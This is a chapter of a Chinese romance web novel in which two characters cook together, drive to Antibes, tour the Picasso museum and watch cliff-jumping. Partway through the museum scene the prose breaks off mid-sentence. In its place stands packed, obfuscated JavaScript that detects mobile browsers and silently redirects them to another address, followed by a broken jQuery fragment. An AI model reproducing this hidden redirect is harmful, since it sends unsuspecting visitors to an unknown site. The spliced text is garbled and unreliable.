关璐轻只是在落地窗前站了一会,静静欣赏了一下远处的海景之后,便转身回到了厨房,准备给覃煜舟打下手,但很多时候他都没有让她动手。
看着那双修长好看的手浸泡在水中,透明的水面没过青筋凸起的手背,莫名给他增添了不少禁欲感。
关璐轻见他如此熟练的样子,自己想帮忙却没什么机会下手,大概是发现了她的不自在,覃煜舟主动开了口,问关璐轻可不可以帮忙切一下葱。
见终于有活干,关璐轻瞬间放松下来,按照他的指示,切了葱还洗了点菜,而此时的覃煜舟已经开始倒油炒菜了。
关璐轻倚在料理台先是打量了一下覃煜舟的背影,男人一身休闲打扮,短袖配上休闲短裤,她脑子里突然冒出一个想法,他如果穿西装的话肯定很绝。
覃煜舟很高,一米七二的关璐轻也才堪堪到他肩膀,腿又长又直,宽肩窄腰的,恰到好处的肌肉线条带着股扑面而来的性张力和荷尔蒙,很难不引人注目。
随着关璐轻的视线下移,目光落在男人左臂的纹身上,隔着几米的距离让她无法精准地看出上面的图案,她只能从露出的小臂慢慢观察,但由于他一直在动作,因此她也无法完全看清。
覃煜舟平时散发出的气场很随和,和他在一起时完全没有任何压迫,或许是从一开始的好奇到现在能够肆无忌惮地和他聊天,其中多亏了他的平和。
其实关璐轻从见到他的第一眼就知道面前的这个男人不是普通人,再加上和孟妍惜这几天短暂的相处,她的第六感越来越强烈,无论是他的谈吐还是一些细节,她都能察觉到男人慵懒之下的矜贵与规矩。
虽然覃煜舟在昨天晚上已经介绍了他的基本情况,但关璐轻还是难免好奇,那种好奇不再浮于表面,而是想往更深处窥探,比如他的纹身都有些什么意义,又比如他从前的人生是什么样。
她再一次清楚地察觉自己对这个男人不再只是简单的好奇和吸引,关璐轻及时打住逐渐危险的想法,将视线转到料理台上,不经意间扫过刚才装食材的袋子,发现了里面还没来得及处理的蔬菜以及肉类。
“你还有几个菜要炒?”关璐轻拿着食材来到了他的旁边。
覃煜舟扫了一眼她手中拿着的食材,给锅里加了点水后盖上盖子,语气自然:“想要自己做?”
关璐轻点点头,语气自信:“也让你尝尝我的手艺,礼尚往来。”
原本还想和她拉扯一下的覃煜舟瞧见了女孩面露自信的可爱表情,他瞬间就放弃了这个念头,听见正咕噜冒热气的锅,他伸手关火,声音带着点宠溺:“马上就把厨房交给你,关大厨。”
对于大厨这个称呼,关璐轻表情十分满意,像极了被满足的小孩,不是她吹牛,她的厨艺可是连江伊那样挑剔的富二代都说好的存在,难得心情好,她想下个厨。
接过厨房的关璐轻瞬间就上手,洗菜备菜很快就做好,只是第一次用他这里的燃气,她有些把握不准火候,刚把牛肋条丢进去就被炸开的油吓了一跳。
一旁没离开的覃煜舟迅速将洗干净的西红柿丢回水池中,快步过来将火调小,并扯过她的小臂挡在了她的面前。
关璐轻惊呼一声,其实她瞬间就反应过来了,想快步去关小火,只是还来不及动作就被一股力气往后扯去,也是出于本能地抓上了覃煜舟坚实有力的大臂。
等一切都冷静下来,关璐轻松了一口气,抬头的一瞬间就是男人近在咫尺的脸庞,那一刻她能清晰地看见令她着迷的那抹清透的蓝。
身体相贴传来的热度在不断提醒他们这样的距离已经严重越线,但大家毕竟都是成年人,甚至都不用说话,默契地放开了彼此,只是在互相松开之前,对视着的眼睛始终没有移开过。
关璐轻轻咳一声,回到了石锅面前,继续着她手中的动作,如果仔细观察就会发现,她看似熟练的动作中夹杂着些许的慌乱与无措,以及乌黑发丝下逐渐冒出绯红的耳廓。
覃煜舟此时心中也闪过一丝难耐,手中似乎还残留着女孩紧实嫩滑的皮肤质感,呼吸间仿佛也还飘着淡淡甜香。
今天的她穿着件紧身的运动背心,露出盈盈一握的细腰,下半身是一条能将她笔直修长的双腿完美展现出来的热裤。
喉结上下滚动着,覃煜舟在室内空调充足的别墅里感觉到了燥热,像是暴露在南法夏天阳光最盛的时候,让他燥热不已,喉结发紧。
小插曲过去,关璐轻和覃煜舟终于在餐桌上坐了下来,看着面前丰盛的四菜一汤,以及她想念许久的大米饭,她甚至有种想哭的感觉。
看着她两眼泪汪汪的小表情,覃煜舟轻轻笑了一声,打趣道:“这是多久没吃中餐了。”
“快三个星期了。”关璐轻一边往嘴里塞米饭和菜,一边语气含糊地开口:“我在戛纳待了快半个月,感觉要被法餐腌入味了,一开始还兴致勃勃地去找大家推荐的餐厅,后来天天加班,定的餐又难吃的不行,本来上班就烦,吃得不好更烦了。”
“后面吃麻木了,每天就回酒店看吃播望梅止渴,今天早上问你中餐厅的时候,我已经被吃播馋得不行了。”关璐轻说话的时候完全没停下夹菜的动作,一边吃还不忘和他吐槽。
覃煜舟被她塞得鼓鼓的腮帮子给逗笑了,默默地把盘子往她那边移了移,“看来需要和你的老板反应一下,没有改善就学学欧洲人,直接罢工。”
“那我就该被fire了。”关璐轻耸耸肩,“但在我被fire之前,我主动跑路了。”
覃煜舟慢条斯理地吃着,听到这话脑海里又想起那天听到的电话内容,但他还是选择不问具体的原因,而是语气轻松道:“听起来是个不错的选择。”
嗯?
关璐轻听到他的话,疑惑的同时也带着点惊讶,因为很少有人会用不错的选择来形容辞职。
“为什么会是不错的选择?”她开门见山,语气疑惑。
覃煜舟放下手中的筷子,反问她为什么不是,在她呆愣的表情中,他缓缓开口:“这只是一个选择而已,又不代表着这份工作结束你就彻底失业,既然工作让你厌烦甚至痛苦,那为什么不结束它,改变现状,换一个令你开心快乐的生活方式。”
“就比如现在我问你,你感到快乐吗?而你的答案是?”覃煜舟将问题抛出去,静候她的回答。
“快乐的。”关璐轻几乎是没有任何犹豫的。
听到她的答案后,覃煜舟也只是挑挑眉,朝她摊开了掌心,神情闲适,一副我就知道是这样的稳妥表情。
那一瞬间关璐轻好像就明白了,原来真的有人可以这么随性地活着,不像她一样在面对选择的时候总是会内耗,总是会后怕。
覃煜舟这时好像能看清一点原本的她,也将她内心的纠结看了个明白,于是没让她过多陷入这件事情里,不着痕迹地换了一个话题聊,而关璐轻的思绪也跟着抽离出来。
后来两人吃完饭,将厨房和餐桌一起收拾干净,便准备出发昂蒂布,覃煜舟换掉了那辆阿斯顿马丁,真如他说的那样开了辆大G出来。
关璐轻用手挡着太阳,看着面前这个庞然大物,咽了咽口水,声音有些虚地开口:“你的车库里真的没有比这还便宜的车吗?”
话落之后,覃煜舟还真的仔细思考了一下,“有一辆911,要开那个吗?”
“……那我还是开这个吧。”关璐轻接过他拋来的钥匙,声音结巴:“我车技没有那么好,你得保证不会把我半路丢下去。”
覃煜舟听后轻笑一声,打开副驾驶的车门,坐上去之前肯定地开口:“我保证,希望你半路也不要弃车逃跑。”
那她有点不敢的。
后来开去昂蒂布的路上关璐轻完全不敢有任何懈怠,但好在坐在副驾的覃煜舟脸上没有半分不耐烦,尽管她的车速有些低于正常速度,他也能淡定地让她慢慢来,多适应一下就好。
好在一路上有惊无险,关璐轻开车带着他顺利抵达昂蒂布,随手找了家停车场停好,两人准备闲逛一下午,等时间差不多就准备返回尼斯。
直接在现场买好票,关璐轻和覃煜舟第一站先去了毕加索博物馆,这些画作是毕加索受邀到昂蒂布居住的时间创作的,于是他在这段时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236275|166102||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间里创作了这些画作,全部捐给了当地政府,条件是这些画作必须永远留在昂蒂布。
除了毕加索的作品之外,这里还有其他一些艺术家的作品,相比于画作,更吸引关璐轻的是墙壁上的陶瓷作品,上面的图案丰富多样,每一个看都十分精致可爱。
走进博物馆,关璐轻和覃煜舟看着看着就兵分了两路,他们默契地让彼此独自地去感受内心与艺术的碰撞,差不多过了一个小时后,他们约定在门口见。
毕加索博物馆就在海边,并肩走到临海的石墙上,关璐轻轻呼出一口气,“果然还得需要一些艺术的洗礼,感觉身心都放松了好多。”
关璐轻始终觉得艺术创作需要作者更多的感性体验,而观赏者能在短暂的时间里和作者产生片刻的共鸣,获得身心的愉悦,艺术创作在这一刻形成闭环。
“但说真的比起毕加索的画,我还是很喜欢莫奈,他的色彩和光线真的让人折服,尤其我在巴黎的奥赛看见那些真迹之后,内心除了惊艳还有震撼,在心里大叫我为什么不能画成那样。”关璐轻的记忆瞬间被拉回在巴黎的那一个星期。
她穿梭在各个艺术馆和博物馆之中,看到了无数曾经只在书本上看到过的著名作品。
覃煜舟恰好与她相反,莫奈柔和的风格确实很美,但毕加索抽象立体的画作更能让他有种灵魂都为之震撼的感觉。
关璐轻看出了他的心思,眨巴了两下眼睛,“你喜欢毕加索?”
肯定的语气得到了肯定的回答,关璐轻只觉得神奇,他们的喜好非常不一样,一个喜欢柔和的建筑作品一个喜欢有棱有角的。
而对于绘画作品则又是反过来的,可这并不妨碍两人聊得十分和谐。
“你都不知道,我之前上过院里一位教授的课,他讲述着世界艺术发展史,聊到现代艺术的时候,他给我们放一些作品,我当时第一眼就被一个小便池吸引了视线。”
“杜尚的《泉》?”覃煜舟毫不犹豫地接下她的话。
“对,我当时觉得荒诞,甚至不解。”关璐轻坦然自己当时的无知,“后来教授开始介绍杜尚,介绍他的达达主义和虚无主义,我瞬间茅塞顿开,觉得他真的好独特,用自己的方式在反抗机械时代,反对战争,追求自由。”
聊起这些,关璐轻瞬间有了说不完的话,两人滔滔不绝间沿着海边向前走着,感受着海风随意地将衣角吹起。
夏风肆意涌动间,他们不知不觉间走到了一处悬崖边,那里站着三两成群的欧洲男孩,他们一个接着一个地从上面往下跳,落入大海。
关璐轻知道他们在玩“跳崖”,曾经那也是她内心渴望却迟迟不敢迈出脚步去尝试的事情。
顺着她的视线看过去,覃煜舟也发现了树荫下的欧洲男孩们,也知道他们在做些什么,也明确地看到了关璐轻眼底散发出的向往。
“要不要试一试?”覃煜舟向她发出邀请,尽管“跳崖”这种刺激的活动在他二十多岁时已经体验过无数次,但如今三十五岁的他却仿佛回到了热血又疯狂的二十岁。
关璐轻就是典型的人菜瘾大,于是她没拒绝,跟着覃煜舟的脚步来到了悬崖边,海浪的声音就在耳边,刺激与恐惧同时朝她扑来。
看出了她的害怕,覃煜舟没有着急催促她,而是一把扯掉了短袖,让关璐轻先看着自己。
那时的阳光很烈,光线直射在男人的胸肌上,一路向下直到腹肌处,关璐轻这才看清了他藏在衣服下性张力爆棚的肌肉,让她的脸颊不禁有些热,明明没被太阳照到,却莫名生出一种晕乎乎的感觉。
覃煜舟虽说是中国人,但从初中开始就在国外生活的他自然会更开放,也更自由,丝毫不觉得这有什么。
男人面对着一望无际的大海,只留给关璐轻一个宽阔而挺拔的背影,没有任何犹豫地,他纵身而跃,扑通一声落入水中,掀起巨大的浪花。
但关璐轻只记得他在“跳崖”的前一秒,朝她,朝着大海喊出的那句话——
“Gloria,youcandothat!”
“Beyourself!”